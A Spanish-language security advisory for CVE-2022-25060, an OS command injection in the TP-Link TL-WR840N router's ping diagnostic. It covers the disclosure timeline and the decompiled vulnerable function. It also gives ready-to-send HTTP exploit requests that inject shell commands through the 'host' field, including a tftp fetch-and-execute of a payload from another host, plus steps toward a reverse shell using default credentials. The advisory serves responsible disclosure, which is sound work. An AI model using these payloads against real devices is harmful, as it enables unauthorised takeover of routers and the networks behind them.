OS Command Injection in TPLINK TL-WR840N
Version TL-WR840N(ES)_V6.20_180709
CVE-2022-25060
Samir Sánchez Garnica
Aviso de Seguridad 003
Luis Eduardo Jácome Valencia
Descripción de la vulnerabilidad
TL-WR840N
Router TPLINK Tl-WR840N Inalámbrico es un dispositivo con velocidad de transmisión de 300 Megabit por segundo (Mbps). Es el dispositivo de red justo para tareas cotidianas que requieren banda ancha y trabajos del día a día.
EL PROBLEMA
Esta versión es afectada por la ejecución de codigo remoto bajo el objeto oal_startPing.
VERSIONES AFECTADAS
Se estima que las versiones afectadas sean <= TL-WR840N(ES)_V6.20_180709
Línea de tiempo
| Fecha | Acción |
| 10/12/2021 | Aviso enviado a la respuesta a incidentes de seguridad de productos TPLINK |
| 13/12/2021 | Se recibe una respuesta con el equipo de seguridad de TPLINK |
| 02/02/2022 | Se recibe una version beta y se verifica la mitigacion de la vulnerabilidad |
| 09/02/2022 | Se cierra el caso con el hallazgo identificado |
Descripción técnica y prueba de concepto (PoC)
Identificación de vulnerabilidad a traves de la ingenieria inversa
Esta vulnerabilidad es descubierta bajo el modulo de libreria denominado libcmm.so , en muchos de los casos descubiertos se identifica que muchos de los parametros que son pasados por el cliente no son sanitizados y pasan directamente a la funcion util_execSystem la cual ejecuta comandos de sistema operativo dentro del dispositivo.
a continuación puede identificar el segmento de código vulnerable, el cual recibe los parametros directamente sin ser sanitizados.
undefined4 oal_startPing(int param_1)
{
int iVar1;
size_t sVar2;
undefined4 uVar3;
char *pcVar4;
undefined4 *puVar5;
int iVar6;
int local_428;
undefined4 local_424;
undefined4 local_420;
undefined4 local_41c;
undefined4 local_418;
char acStack1044 [1028];
memset(acStack1044,0,0x400);
local_424 = 0;
local_420 = 0;
local_41c = 0;
local_418 = 0;
local_428 = 0;
util_findSystemProc("ipping",0,acStack1044,"ipping",&local_428);
if (local_428 != 0) {
iVar6 = param_1 + 0x10c;
uVar3 = 0x57;
pcVar4 = "The previous ping to (%s) haven\'t complete, please wait a few minutes";
LAB_000b549c:
cdbg_printf(8,"oal_startPing",uVar3,pcVar4,iVar6);
return 1;
}
memset(acStack1044,0,0x400);
iVar6 = param_1 + 0xec;
if ((*(char *)(param_1 + 0xec) != '\0') &&
(iVar1 = oal_intf_getIfAddr(iVar6,&local_424), iVar1 == 0)) {
uVar3 = 0x62;
pcVar4 = "Get interface(%s)\'s IP failed!";
goto LAB_000b549c;
}
if (*(char *)(param_1 + 0xcc) == '\0') {
sVar2 = strlen(acStack1044);
snprintf(acStack1044 + sVar2,0x400 - sVar2,"ipping -c %d -s %d -w %d %s ",
*(undefined4 *)(param_1 + 0x108),*(undefined4 *)(param_1 + 0x100),
*(undefined4 *)(param_1 + 0x104),param_1 + 0x10c);
}
else {
sVar2 = strlen(acStack1044);
snprintf(acStack1044 + sVar2,0x400 - sVar2,"ipping -c 1 -s %d -w %d %s",
*(undefined4 *)(param_1 + 0x100),*(undefined4 *)(param_1 + 0x104),param_1 + 0x10c);
}
iVar6 = util_netChkLegalIpAddr(&local_424);
if (iVar6 == 0) {
if (*(char *)(param_1 + 0xec) == '\0') goto LAB_000b55f0;
sVar2 = strlen(acStack1044);
pcVar4 = acStack1044 + sVar2;
puVar5 = (undefined4 *)(param_1 + 0xec);
}
else {
sVar2 = strlen(acStack1044);
pcVar4 = acStack1044 + sVar2;
puVar5 = &local_424;
}
snprintf(pcVar4,0x400 - sVar2," -I %s",puVar5);
LAB_000b55f0:
sVar2 = strlen(acStack1044);
snprintf(acStack1044 + sVar2,0x400 - sVar2," &");
util_execSystem("oal_startPing",acStack1044);
return 0;
}
La funcion vulnerable es llamada desde el objeto rsl_ipping_start y rsl_setIppingDiagOb
Podemos comprobar la inyeccion de comandos enviando el siguiente payload.
POST /cgi?2 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 160
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/mainFrame.htm
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
dataBlockSize=64
timeout=1
numberOfRepetitions=4
host=;cat /proc/cpuinfo;
X_TP_ConnName=ewan_ipoe_s
diagnosticsState=Requested

La explotación
Puede seguir los siguientes pasos para poder llevar a cabo la explotación de la inyección de comandos de una manera exitosa.
- no existe una restricción de caracteres ni de tamaño por lo cual puede inyectar una cadena larga y consecutiva.
- El router al ser limitado en los binarios podemos hacer uso del servicio tftp para descargar archivos y ejecutar codigo remoto.
- Necesita compilar una shellcode para la arquitectura MIPSLE e invocarla en la inyeccion de comandos.
Finalmente el atacante puede obtener una shell reversa con la investigación anterior y tomar control del producto.
POST /cgi?2 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 242
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/mainFrame.htm
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
dataBlockSize=64
timeout=1
numberOfRepetitions=4
host=172.26.26.1;tftp -g -r s -l/var/tmp/s 192.168.0.3; chmod +x /var/tmp/s; ./var/tmp/s;
X_TP_ConnName=ewan_ipoe_s
diagnosticsState=Requested
Invoque la siguiente peticion para trigerear la solicitud de inyeccion de comandos
POST /cgi?7 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 44
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/mainFrame.htm
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0
Finalmente obtenga la reverse shell y tome control del producto.

URL mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25060
URL código de explotación: https://github.com/exploitwritter/CVE-2022-25060

Deja un comentario